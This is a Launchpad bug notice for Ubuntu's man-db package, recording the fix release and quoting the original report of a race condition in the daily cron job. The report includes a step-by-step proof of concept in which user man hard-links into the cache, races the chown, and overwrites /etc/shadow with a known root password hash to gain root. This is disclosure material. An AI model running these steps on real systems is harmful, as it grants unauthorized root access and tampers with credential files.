This bug was fixed in the package man-db - 2.7.6.1-1
---------------
man-db (2.7.6.1-1) unstable; urgency=medium
* New upstream release:
- Don't chmod CACHEDIR.TAG if it doesn't exist (closes: #847810).
-- Colin Watson <cjwat...@debian.org> Mon, 12 Dec 2016 12:51:57 +0000
** Changed in: man-db (Ubuntu)
Status: Fix Committed => Fix Released
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https://bugs.launchpad.net/bugs/1482786
Title:
man-db daily cron job TOCTOU bug when processing catman pages
Status in apport package in Ubuntu:
Confirmed
Status in man-db package in Ubuntu:
Fix Released
Status in pam package in Ubuntu:
Confirmed
Status in shadow package in Ubuntu:
Confirmed
Bug description:
The daily mandb cleanup job for old catman pages changes the
permissions of all non-man files to user man. The problematic code is:
# expunge old catman pages which have not been read in a week
if [ -d /var/cache/man ]; then
cd /
if ! dpkg-statoverride --list /var/cache/man >/dev/null 2>1; then
find /var/cache/man -ignore_readdir_race ! -user man -print0 | \
xargs -r0 chown -f man || true
fi
...
By creating a hard link and winning the race, user man may escalate
privileges to user root. See [1] for full explanation.
man# mkdir -p /var/cache/man/etc
man# ln /var/crash/.lock /var/cache/man/etc/shadow
man# ./DirModifyInotify --Watch /var/cache/man/etc --WatchCount 0 --MovePath
/var/cache/man/etc --LinkTarget /etc
... Wait till daily cronjob was run
man# cp /etc/shadow .
man# sed -r -e
's/^root:.*/root:$1$kKBXcycA$w.1NUJ77AuKcSYYrjLn9s1:15462:0:99999:7:::/'
/etc/shadow > x
man# cat x > /etc/shadow; rm x
man# su -s /bin/sh (password is 123)
root# cat shadow > /etc/shadow; chown root /etc/shadow
# lsb_release -rd
Description: Ubuntu 14.04.3 LTS
Release: 14.04
# apt-cache policy man-db
man-db:
Installed: 2.6.7.1-1ubuntu1
Candidate: 2.6.7.1-1ubuntu1
Version table:
*** 2.6.7.1-1ubuntu1 0
500 http://archive.ubuntu.com/ubuntu/ trusty-updates/main amd64
Packages
100 /var/lib/dpkg/status
2.6.7.1-1 0
500 http://archive.ubuntu.com/ubuntu/ trusty/main amd64 Packages
[1]
http://www.halfdog.net/Security/2015/MandbSymlinkLocalRootPrivilegeEscalation/
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